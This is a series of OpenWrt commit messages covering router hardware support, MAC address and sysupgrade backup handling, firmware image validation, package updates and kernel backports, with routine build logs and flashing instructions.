Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Kernel features are neutral. The two cascaded features can also be
useful for other container related tools
It's also less error-prone if only kconfig symbols from the kernel are
prefixed KERNEL_
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
This reverts commit 5b98061bb1.
As Piotr Dymacz pointed out:
In QCA MIPS based WiSOCs, for first USB interface,
device/host mode can be selected _only_ in hardware
see description of 57c641ba6e
QCA955x and QCA9563, second USB can be switched to device
mode in software (tested and confirmed on real hardware).
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Current ar724x code does the reset only on single pci bus, and
in case of qca9558 writes the wrong register (0x10 vs 0x0c).
This change allows the reset of second pci bus, commonly used in
Archer C7 devices, in case host controller is stuck in reset.
If the resetting controller on boot can solve any other issue it
can be enabled unconditionally by removing reset check before
ar724x_pci_hw_init is called.
Signed-off-by: Tomislav Požega <pozega.tomislav@gmail.com>
[refreshed to apply cleanly]
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Enable flushing of write buffers on qca955x. GPL code has 0x88 reg
defined for PCI flush which is likely an error since the device
freezes on boot. So use DS default value 0xA8 for PCI flush.
Signed-off-by: Tomislav Požega <pozega.tomislav@gmail.com>
Now that $UPGRADE_BACKUP is set conditionally there is no need to check
the $UPGRADE_OPT_SAVE_CONFIG anymore. All conditions can be simplified.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
b8238df sysupgrade: support "backup" attribute
This update requires "sysupgrade" method callers to pass "backup"
attribute if $UPGRADE_BACKUP is used in the project.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This explicitly tells procd what backup file should be used during
sysupgrade (if any). It's much more generic this way compared to the
magic /tmp/sysupgrade.tgz file that had to be created before a call.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Make treat copy-kernel.o as intermediate and delete it when it's no
longer needed. This can fail when the same submake was triggered
multiple times for different devices.
arm-openwrt-linux-muslgnueabi-as -k -o copy-kernel.o copy-kernel.S
export MAKEFLAGS= ;make -w -C copy-kernel CROSS_COMPILE=arm-openwrt-linux-muslgnueabi-
arm-openwrt-linux-muslgnueabi-objcopy -O binary -S copy-kernel.o copy-kernel.bin
make[5]: Entering directory '/builder/shared-workdir/build/target/linux/gemini/image/copy-kernel'
arm-openwrt-linux-muslgnueabi-objcopy -O binary -S copy-kernel.o copy-kernel.bin
rm copy-kernel.o
make[5]: Leaving directory '/builder/shared-workdir/build/target/linux/gemini/image/copy-kernel'
# "App" partition is the rootfs
arm-openwrt-linux-muslgnueabi-objcopy: 'copy-kernel.o': No such file
Makefile:27: recipe for target 'copy-kernel.bin' failed
make[5]: Leaving directory '/builder/shared-workdir/build/target/linux/gemini/image/copy-kernel'
make[5]: *** [copy-kernel.bin] Error 1
Makefile:244: recipe for target '/builder/shared-workdir/build/build_dir/target-arm_fa526_musl_eabi/linux-gemini/tmp/openwrt-gemini-storlink_sl93512r-ext4-factory.bin' failed
make[4]: *** [/builder/shared-workdir/build/build_dir/target-arm_fa526_musl_eabi/linux-gemini/tmp/openwrt-gemini-storlink_sl93512r-ext4-factory.bin] Error 2
With this change, output files are directed to $(KDIR)
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Reviewed-by: Linus Walleij <linus.walleij@linaro.org>
The 2.4 GHz radio had very poor signal reception (-89 dBm for an AP
sitting 5 m away). By enabling the external amplifier, received signal
has improved to -50 dBm for the same AP.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
5f0d2e0491 [AArch64] Add ifunc support for Ares
e6b7252040 aarch64,falkor: Use vector registers for memcpy
c74b884f70 aarch64,falkor: Ignore prefetcher tagging for smaller copies
0fc5934ebd aarch64/strncmp: Use lsr instead of mov+lsr
e0a0bd3acc aarch64/strncmp: Unbreak builds with old binutils
638caf3000 aarch64: Improve strncmp for mutually misaligned inputs
d5f45a29ff aarch64/strcmp: fix misaligned loop jump target
7f690fafad aarch64: Improve strcmp unaligned performance
40df047b3b aarch64: Fix branch target to loop16
062139f233 aarch64: Optimized memcmp for medium to large sizes
f3e2add213 aarch64: Use the L() macro for labels in memcmp
22bd3ab40e posix: Fix large mmap64 offset for mips64n32 (BZ#24699)
bdd16894aa aarch64: handle STO_AARCH64_VARIANT_PCS
0b48caab9a aarch64: add STO_AARCH64_VARIANT_PCS and DT_AARCH64_VARIANT_PCS
949da7f2fd io: Remove copy_file_range emulation [BZ #24744]
f056ac8363 libio: do not attempt to free wide buffers of legacy streams [BZ #24228]
5f90e009b1 NEWS: add entries for bugs 22964, 24180, and 24531
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
This allows platform code to check if firmware image can be used with
preserving a backup. It may be used e.g. when installing vendor
firmwares that won't restore appended backup archive.
Suggested-by: Luis Araneda <luaraneda@gmail.com>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
So far, MAC address setup for those devices has been using local
addresses although additional MAC addresses are available on flash.
On device, we found the following situation:
position Y1 Y1S
0x4 *:d4 *:e4
0x8004 *:d6 *:e8
0x28 *:d4 *:e4
0x2e *:d7 *:eb
Since 0x4 and 0x28 yield the same address, the former was set for
ðernet in DTS. However, the typical location on this
architecture is 0x28, so this patch changes that.
For further setup in 02_network, the local bit for lan_mac is
removed, so the address from ðernet is used at all. For wan_mac,
instead of calculating an address with local bit set, this patch
exploits the previously unused address in 0x2e.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch changes wan MAC address setup from retrieving it by
calculation to reading it from flash.
Changes are limited to cases where on-device check was possible.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[fix mac for newifi-d1; drop adslr,g7 because it's unlikely for
vendor to specifically use 2.4g mac as wan_mac]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
In 555ca422d1 ("ramips: fix D-Link DIR-615 H1 switch port
mapping"), port setup for dir-615-h1 was changed without removing
the old one. This was working as the new one was triggered earlier
than the old one.
(In the meantine, changed sorting during ramips rename patches
actually inversed that order.)
Anyway, just remove the wrong case now.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ARC FreeStation5 is present twice in MAC address setup.
From older commits/changes, it is not possible to reconstruct
the correct choice only by reading the annotations.
Thus, remove the second case and keep the first one, so behavior
stays the same (as nobody seems to have complained about it).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch removes unnecessary MAC address setup statements in
ramips' 02_network by doing several optimizations:
1. For the following devices, lan_mac was set up with
mtd_get_mac_binary although the same address was set in DTS.
The lan_mac statement is removed in 02_network, but
wan_mac is kept:
- mercury,mac1200r-v2
- phicomm,k2g
- skylab,skw92a
- wiznet,wizfi630a
2. For the following devices, wan_mac was set up with
mtd_get_mac_binary although the same address was set in DTS.
The wan_mac statement is removed in 02_network, no
lan_mac is present:
- buffalo,whr-g300n
- glinet,gl-mt300n-v2
- zyxel,keenetic-start
3. For the following device, lan_mac and wan_mac were set up
with mtd_get_mac_binary to the same address as set in DTS.
Both statements are removed in 02_network:
- buffalo,whr-600d
4. For some devices, it was possible to move setup from 02_network
to DTS by introducing previously missing mtd_mac_address:
- buffalo,whr-1166d
- buffalo,whr-300hp2
- buffalo,wsr-600dhp
- ohyeah,oy-0001
- planex,vr500
5. For one device, mtd_mac_address was just wrong and overwritten
by 02_network. Put the correct value in DTS and remove redundant
statement in 02_network:
- asus,rt-ac57u
6. For one device, MAC address defined in DTS is exchanged together
with lan_mac/wan_mac setup in 02_network, so that cases in
02_network can be merged:
- phicomm,k2p
For some devices, an empty case has to be used to prevent them
from falling into the default case and have
WAN address = eth0 address + 1 set to them.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 1c0290c5cc.
Dropping the nopad can make the padding overflow into the next erase
block on devices using a non-aligned rootfs start. This breaks the jffs2
overlay partition with the following messages:
[ 30.343877] jffs2_scan_eraseblock(): End of filesystem marker found at 0x10000
[ 30.376512] jffs2: Cowardly refusing to erase blocks on filesystem with no valid JFFS2 nodes
[ 30.385253] jffs2: empty_blocks 196, bad_blocks 0, c->nr_blocks 197
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
This provides TRX validation result to the validation JSON. It also
prevents users from installing broken firmware files.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
It's a variable set by procd that should replace hardcoded
/tmp/sysupgrade.tgz.
This change requires the most recent procd with the commit 0f3c136
("sysupgrade: set UPGRADE_BACKUP env variable").
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
0f3c136 sysupgrade: set UPGRADE_BACKUP env variable
0bcbbbf system: fix uninitialized variables in firmware validation code
This update includes a fix for uninitialized variable usage.
Fixes: 7290963d09 ("procd: update to the latest git HEAD")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
The actual retrieval of the MAC address in mtd_get_mac_binary_ubi()
is the same as in get_mac_binary(). Thus, use the latter function
in the former to reduce duplicate code.
This will also allow to benefit from the enhanced path check there
and bring mtd_get_mac_binary_ubi() more in line with the similar
mtd_get_mac_binary().
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The mtd_get_mac_text helper method did not support hexadecimal offset
values, resulting them to break after 75bfc393ba ("treewide:
convert MAC address location offsets to hexadecimal")
This commit fixes this by evaluating the hexadecimal input,
converting them to decimal.
Signed-off-by: David Bauer <mail@david-bauer.net>
$CONF_TAR shouldn't be assumed to always point to the sysupgrade.tgz.
This change makes code more generic and allows refactoring $CONF_TAR.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
1) Add BACKUP_FILE and use it when copying an archive to be restored
after sysupgrade (on the next preinit).
2) Use CONF_TAR for copying backup prepared by the /sbin/sysupgrade
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
That was a result of accidentally running "sed" twice on some files.
Fixes: 5797fe84a3 ("treewide: replace remaining (not working now) $SAVE_CONFIG uses")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This var has been replaced by the $UPGRADE_OPT_UPGRADE_OPT_SAVE_CONFIG
Fixes: b534ba9611 ("base-files: pass "save_config" option to the "sysupgrade" method")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This updates the U-Boot which provides the host tools like mkimage to
version 2019.07.
The patches were cleaned up and it was checked if this still compiles
on Linux and FreeBSD.
CONFIG_FIT_SIGNATURE_MAX_SIZE is set to the default value.
The patch for libressl was merged upstream.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This patch does the following things:
1. mark u-boot-env writable
2. add bootcount support
Currently, u-boot has a flag_boot_success env variable to reset.
Also reset it in our firmware to follow the behavior in vendor's
firmware.
3. disable usb support
This router doesn't have usb port at all.
4. increase spi clock to 40MHz
5. fix pinmux groups
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This provides TRX validation result, so final JSON may look like:
{
"tests": {
"fwtool_signature": true,
"fwtool_device_match": true,
"trx_valid": true
},
"valid": true,
"forceable": true
}
It also prevents users from installing broken firmware files, e.g.:
root@OpenWrt:/# sysupgrade -F -n /tmp/TZ
Image metadata not found
Invalid image type. Please use firmware specific for this device.
Image check failed but --force given - will update anyway!
Commencing upgrade. Closing all shell sessions.
Firmware image is broken and cannot be installed
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Hardware:
SoC: AR9344
CPU: 560 MHz
Flash: 8 MiB
RAM: 128 MiB
WiFi: Atheros AR9340 2.4GHz 802.11bgn
Atheros AR9300 5GHz 802.11an
Ethernet: AR934X built-in switch, WAN on separate physical interface
USB: 1x 2.0
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to
wdr3500v1_tp_recovery.bin
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[removed stray newline]
Signed-off-by: David Bauer <mail@david-bauer.net>
This has two improvements over the current version. An autotools fix and
application of the wrt350v2 patch.
Cleaned up Makefile as a result of makefiles being fixed.
Note that this package is not really used as it depends on orion, which is
classified as broken.
This is the last package that uses svn in the tree.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Ensure that the kernel objtool utilities are processed by the library
bundler in order to ensure that they're usable on foreign systems with
different libc versions.
Fixes: a9f6fceb42 ("sdk: fix building external modules when CONFIG_STACK_VALIDATION=y")
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Pass suitable pkg-config overrides to the kernel build process in
order to let our pkg-config wrapper discover libraries provided
by tools/.
This mainly affects the use of libelf which is required for the
CONFIG_STACK_VALIDATION features. So far, the build system either
silently used host system libraries or kbuild simply disabled the
feature due to the lack of a suitable libelf.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
When libelf from tools/ is used for building the kernel, compilation
aborts due to access to undefined defines since Kbuild adds -Wundef
to the compiler flags.
Patch the header files to use `#if defined(...)` instead of `#if ...`
to prevent such issues.
Ref: https://github.com/NixOS/nixpkgs/issues/59929
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Install the pkg-config definition for libelf in order to allow the
kernel build process discover it later on.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Commit 775b70f8d5 renamed parse_file() parameters without
updating the recursive call. This broke parsing of any feeds.conf
using 'src-include'.
$ scripts/feeds update -a
Can't use string ("defaults") as a HASH ref while "strict refs" in use at scripts/feeds line 63, <$fh> line 1.
Fixes: 775b70f8d5 ("scripts/feeds: allow adding parameters to feeds")
Signed-off-by: Bjørn Mork <bjorn@mork.no>
When CONFIG_BUILD_SUFFIX is enabled, the target-* folders in build_dir
and staging_dir have this suffix in the name, but not the
toolchain directories. When detecting the names for "arch" and "libc",
also accept the suffix and do not use it for the toolchain path.
Signed-off-by: Thomas Langer <thomas.langer@intel.com>
Update CMake to 3.15.1
Refresh patches
Remove inofficial fossies.org and replace with GitHub (link on official site)
Remove 150-C-feature-checks-Match-warnings-more-strictly.patch as it's
a no longer needed backport from upstream.
Disable ccache if GCC is 4.8, 4.9 or 5.X to avoid build failures.
Reference: https://github.com/openwrt/openwrt/pull/1929
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
ABI version is same.
The ipkg size increase by about 2.2%:
old:
47.909 libnftnl11_1.1.3-1_arm_cortex-a7_neon-vfpv4.ipk
new:
48.985 libnftnl11_1.1.4-1_arm_cortex-a7_neon-vfpv4.ipk
Signed-off-by: Konstantin Demin <rockdrilla@gmail.com>
According to 02_network, eth0.1 is LAN and eth1.2 is WAN,
but $mac_wan was assigned incorrectly to eth0 in preinit.
Swap eth0 and eth1 to fix this.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
The net pointer in struct xt_tgdtor_param is not explicitly
initialized therefore is still NULL when dereferencing it.
So we have to find a way to pass the correct net pointer to
ipt_destroy_target().
The best way I find is just saving the net pointer inside the per
netns struct tcf_idrinfo, which could make this patch smaller.
Fixes: 0c66dc1ea3f0 ("netfilter: conntrack: register hooks in netns when needed by ruleset")
Reported-and-tested-by: Tony Ambardar <itugrok@xxxxxxxxx>
Cc: Jamal Hadi Salim <jhs@xxxxxxxxxxxx>
Cc: Jiri Pirko <jiri@xxxxxxxxxxx>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
[Backport for kernel v4.19 and v4.14]
[Bug Link: https://bugzilla.kernel.org/show_bug.cgi?id=204681]
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
This adds the key_type and ec_curve options to enable the generation of
EC keys during initialization, using openssl or the new options added to
px5g.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This adds an 'eckey' command to generate an EC key, with an optional
curve name argument, with P-256 as default.
For the 'selfsigned' command, it adds an 'ec' algorithm argument to the
'-newkey' option, and a '-pkeyopt ec_paramgen_curve:<curvename>' option,
mirroring the way openssl specifies the curve name.
Notice that curve names are not necessarily the same in mbedtls and
openssl. In particular, secp256r1 works for mbedtls, but openssl uses
prime256v1 instead. px5g uses mbedtls, but short NIST curve names P-256
and P-384 are specifically supported.
Package size increased by about 900 bytes (arm).
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Because a bug in handling partial erase blocks in 4.19 kernel, using
sysupgrade images will hard brick devices that use RedBoot bootloader
and have "FIS directory" with "RedBoot config" on the same erase block.
Since flashing the devices from bootloader is safe, and to not cause a
situation where external chip programmer or JTAG is needed, disable
sysupgrade images for affected boards while creating kernel.bin and
rootfs.bin for jjPlus JA76PF2 board, which doesn't have factory image.
To set up the JA76PF2 board follow "Installation" instructions in b3a0c97
("ath79: add support for jjPlus JA76PF2") except the part of loading
initramfs image and using sysupgrade image for flashing (point 6 and 7).
Enter following commands to flash the board from bootloader:
fis init
load -r -b 0x80060000 <openwrt_kernel_image_name>
fis create linux
load -r -b %{FREEMEMLO} <openwrt_rootfs_image_name>
fis create rootfs
fis load -l linux
exec -c ""
For RouterStations use TFTP recovery procedure.
Ref: FS#2428
Cc: Matt Merhar <mattmerhar@protonmail.com>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
When bumping to 4.19 the patch responsible for scaning flash for FIS
partition got left out. Without it devices with RedBoot bootloader using
automatic partitions detection in dts won't boot with the new kernel.
Fixes: 3771176 ("ath79: add support for linux 4.19")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Now that the md5 check is fixed and metadata present, sysupgrade on
ar71xx will complain about device not being supported by the image.
Since the cause is not matching strings for supported devices add them
accordingly.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This target enforces metadata check so add the necessary information. It
was previously removed because md5 sum check. When using these sysupgrade
images on ar71xx target the check would complain about them not matching.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
There is md5 sum of whole image embedded in combined-image header which
is checked on sysupgrade. The check will fail for ath79 images which
may have embedded metadata. This is because metadata are appended after
the combined image is created. To allow smooth transition from ar71xx to
ath79, strip metadata before calculating md5 sum for whole image.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
During review it slipped by that these devices use combined-image which
should never be used for newly added ones. Therefore switch to
sysupgrade-tar generated images introduced in 8f6f260 ("ath79:
routerstation: prepare to use sysupgrade-tar format image"). The
sysupgrade accepts both images for now so no reression should occur.
Cc: Brian Gonyer <bgonyer@gmail.com>
Cc: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
The frequency was filled acording the information from datasheet for
particular chip (Winbond 25Q128BVFG). Unfortunately this led to
coruption and introduced bad blocks on the chip. Reducing the frequency
to commonly used in ath79, made the board more stable and no new bad
blocks were spoted.
Fixes: b3a0c97 ("ath79: add support for jjPlus JA76PF2")
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This fixes the previously incorrect phy-mode for the OCEDO Ursus GMAC0.
See 62abbd587d ("ath79: correct various phy-mode properties")
for more details.
Signed-off-by: David Bauer <mail@david-bauer.net>
Without this patch, an extra entry appears for AR9287 GPIO
that duplicates WLAN LED but in fact drives nothing:
gpiochip1: GPIOs 502-511, ath9k-phy0:
gpio-502 ( |netgear:blue:wlan ) out hi
gpio-503 ( |netgear:amber:test ) out hi
gpio-504 ( |netgear:green:power ) out lo
gpio-505 ( |rfkill ) in hi
gpio-507 ( |wps ) in hi
gpio-508 ( |reset ) in hi
gpio-510 ( |ath9k-phy0 ) out hi <===!
The pin pointed above is default LED GPIO (8) for AR9287.
For WNR2200 it is not connected anywhere - pin 0 drives blue WLAN
LED instead - but initialization code is missing that information.
This fix calls ap9x_pci_setup_wmac_led_pin() function at device
setup, forcing WLAN LED pin to be 0 and removing redundant entry.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Instead, instruct the configure script to use $(FPIC) only.
Mixing -fPIC and -fpic can cause issues on some platforms like PPC.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The configure scripts matches Linux with -fPIC, which is not exactly what
is desired. Since we are already passing $(FPIC), added a CONFIGURE_VAR to
avoid passing -fPIC.
Removed PKG_BUILD_DIR as it is already the default value.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The button is labelled reboot/restore in documentation, and has always
been used for that. Naming it WPS has always been wrong.
Signed-off-by: Karl Pálsson <karlp@etactica.com>
[matched author to SoB]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
As Netgear uses the same image for R6260, R6350 & R6850
we can merge device tree files and generate separate
images for each device.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[add missing WiFi compatible string, fix network
configuration]
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds factory image generation for all three
devices. These images can be flashed via WebUI
for easy installation.
Thanks to David Bauer for the inspiration.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
[altered commit to only include the R6350]
Signed-off-by: David Bauer <mail@david-bauer.net>
There are currently the following issues present for the Netgear R6220,
R6350 and WNDR3700 v5:
- LAN and WAN MAC-addresses are inverted
- WAN MAC-address is off. It are +2 compared to the LAN MAC-address
(R6350 only)
- Switchport order is inverted in LuCi
This commit fixes both these issues by assigning correct MAC-addresses
to LAN and WAN interfaces and defining the switchports with the correct
labels.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit switches the default trigger for the WiFi LED from a netdev
trigger on "wlan0" to a wireless-phy based trigger. THis allows the LED
to work, even when the wireless interface is not named "wlan0" without
modifiying the LED settings.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds an easy-installation factory image for the NETGEAR R6220
router. The factory image can either be flashed via the vendor Web-UI or
the bootloader using nmrpflash.
Tested with NETGEAR V1.1.0.86 firmware.
Signed-off-by: David Bauer <mail@david-bauer.net>
The MediaTek MT7621 NAND driver currently intransparently shifts NAND
pages when a block is marked as bad. Because of this, offsets for e.g.
caldata and MAC-addresses seem to be off.
This is, howeer, not a task for the mtd NAND driver, as the flash
translation layer is tasked with this.
This patch disables this badblock shifting. This fix was originally
proposed by Jo-Philipp Wich at
https://bugs.openwrt.org/index.php?do=details&task_id=1926
Fixes FS#1926 ("MTD partition offset not correctly mapped when bad
eraseblocks present")
Signed-off-by: David Bauer <mail@david-bauer.net>
Since the binaries for both lua as well as lua5.3 contain the version
number, invocations of the "lua" binary are failing, as it's not created
anymore for the host package.
Fixes: fe59b46 ("lua: include version number in installed files")
Signed-off-by: David Bauer <mail@david-bauer.net>
While the -nopad option prevents mksquashfs from padding the
image to an arbitrary 4k. It does not take into consideration
that squashfs is programmed to have this 4k padding when it's
being used on on a block device... which is its main "use-case".
Now, after a week long discussion on the ML that included a
back-and-forth between some of the possible options.
But this is likely the best KISS patch to deal with the issue
right away given the limited resources.
From squashfs code point of view, be warned. The 4k padding is
not enough when dealing with devices that have a PAGE_SIZE
bigger than 4k.
if it turns out to be affecting you, then please look-up either:
"FS#2460 - kernel panic reading squashfs from ubi volume" bug
Or the discussion on the OpenWrt-Devel ML in
"amp821xx: use newly added pad-squashfs for Meraki MR24" and
"Squashfs breakage lottery with UBI..."
before making an educated guess.
Note: This will not affect the "tiny"/small flash devices as
much as it seems at first. This is because the the rootfs_data
partition that follows uses jffs2. And it requires to be aligned
to the flash block-size in order to work at all.
So either the involved FSes will meet in the middle as before,
or not at all. But in that latter case the image was already
hoping for the "undefined behaviour" gamble to turn out in its
favour and this is probably why this was unnoticed for so long.
Fixes: FS#2460
Reported-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
So far firmware validation result was binary limited: it was either
successful or not. That meant various limitations, e.g.:
1) Lack of proper feedback on validation problems
2) No way of marking firmware as totally broken (impossible to install)
This change introduces JSON for storing detailed validation info. It
provides a list of performed validation tests and their results. It
allows marking firmware as non-forceable (broken image that can't be
even forced to install).
Example:
{
"tests": {
"fwtool_signature": true,
"fwtool_device_match": true
},
"valid": true,
"forceable": true
}
Implementation is based on *internal* check_image bash script that:
1) Uses existing validation functions
2) Provides helpers for setting extra validation info
This allows e.g. platform_check_image() to call notify_check_broken()
when needed & prevent user from bricking a device.
Right now the new JSON info is used by /sbin/sysupgrade only. It still
doesn't make use of "forceable" as that is planned for later
development.
Further plans for this feature are:
1) Expose firmware validation using some new ubus method
2) Move validation step from /sbin/sysupgrade into "sysupgrade" ubus
method so:
a) It's possible to safely sysupgrade using ubus only
b) /sbin/sysupgrade can be more like just a CLI
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
From: Stanislaw Gruszka <sgruszka@redhat.com>
This reverts commit 9ad3b55654455258a9463384edb40077439d879f.
As reported by Sergey:
"I got some problem after upgrade kernel to 5.2 version (debian testing
linux-image-5.2.0-2-amd64). 5Ghz client stopped to see AP.
Some tests with 1metre distance between client-AP: 2.4Ghz -22dBm, for
5Ghz - 53dBm !, for longer distance (8m + walls) 2.4 - 61dBm, 5Ghz not
visible."
It was identified that rx signal level degradation was caused by
9ad3b5565445 ("rt2800: enable TX_PIN_CFG_LNA_PE_ bits per band").
So revert this commit.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
We are not sure if 640-bridge-only-accept-EAP-locally.patch is still needed
as a first step, add disable_eap_hack sysfs config to allow to disable it
Signed-off-by: Etienne Champetier <champetier.etienne@gmail.com>
this allows adding "--" prefixed parameters inside feeds.conf between the
target and name. The first parameter is --force which has the same effect
as using -f when installing any of the packages. This allows creating
feeds that will override base packages by default.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Close cooperation with Lorenzo Bianconi resulted
in these patches which fix all remaining seen issues
when using dynack.
Fix link losses when:
- Late Ack's are not seen or not present
- switching from too low static coverage class to dynack on a live link
These are fixed by setting the Ack Timeout/Slottime to
the max possible value for the currently used channel width when
a new station has been discovered.
When traffic flows, dynack is able to adjust to optimal values
within a few packets received (typically < 1 second)
These changes have been thoroughly tested on ~60 offshore devices
all interconnected using mesh over IBSS and dynack enabled on all.
Distances between devices varied from <100m up to ~35km
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
6a61b9a probe: fallback to libblkid.so.1 when libblkid.so does not exist
Also remove deprecation notices from init script while we're at it.
Fixes: FS#2274
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
a9f9557 nl80211: support reading hardware id from phy directly
c586cd3 iwinfo: add device id for MediaTek MT7612E
d4382dd iwinfo: add device id for Atheros AR9390
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
tx_size was just declared above and set to BIT(tx->order)
Use the declaration instead, which could avoid a pointer deref
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Backport of a4eef43a12 ("ath79: ag71xx: replace alloc_etherdev with devm_alloc_etherdev")
combined with the initial changes from John Crispin.
Simplifies the code a lot by using the Managed dev API.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Backport of 4eaa3626a8 ("ath79: ag71xx: pass correct device pointer to dma functions")
While 4.14 does not contain the warnings,
it still makes sense to use the proper pointers here.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
All other instances of this identical declaration fetch the
value directly from the ring_order.
Also do it here.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Refreshed all patches.
Also add a missing symbol for x86 which got used now in this bump.
- ISCSI_IBFT
Compile-tested on: cns3xxx
Runtime-tested on: cns3xxx
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Refreshed all patches.
Also add a missing symbol for x86 which got used now in this bump.
- ISCSI_IBFT
Compile-tested on: cns3xxx
Runtime-tested on: cns3xxx
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This should fix a problem with 1560 MTU, 160Mhz on DFS channels,
some other small issues on < 5.2 kernels, and for 5.2 driver,
it pulls in some upstream stable fixes.
wave-1 firmware changes since last update:
* June 24, 2019: Try allocating low-priority WMI msgs if high-prio are not available.
* June 24, 2019: Init rate-ctrl to start at lowest rate instead of in the middle. Hoping
this helps DHCP when station connects from a long distance.
wave-2:
* June 24, 2019 Start rate-ctrl at minimal values to help DHCP work better for far-away peers.
* July 24, 2019 Fix old regression that made /a (and probably /b/g) perform poorly, at least on
diet-compiled images.
* Aug 8, 2019 Improve a/b/g rate-ctrl by damping the PER swings caused by the all-or-nothing logic
of transmitting non-block-ack frames one at a time.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Harri Hursti reported that ALFA Network AP120C-AC does not
work anymore due to: "Unknown package 'ipq-wifi-alfa-network_ap120c-ac'."
This patch fixes the issue by removing the stale package from
the device's dependencies as the calibration data is now
provided by the upstream board-2.bin.
Reported-by: Harri Hursti <harri@nordicinnovationlabs.com>
Fixes: 8f757d427c ("ipq-wifi: drop upstreamed custom board-2.bin")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
These devices are sold as a "NAS HDD Enclousure"
and have a "NAS Media Streaming & File Server & AP" on
the box. That's why I think they should have some support
for the HDD right out-of-the-box.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Update fstools to commit 1539b535ac327a3bc599d1ca871e14fd0dc3bba1
git log --pretty=oneline --abbrev-commit ff1ded63..1539b535
1539b53 libblkid-tiny: increment label size to 256
d563f3c libblkid-tiny: fix wrong btrfs label length
3957dd3 block: prevent mount point confusion
9b36dc2 libfstools: avoid false positives when matching devices and volumes
Created with the help of the make-package-update-commit.sh script.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
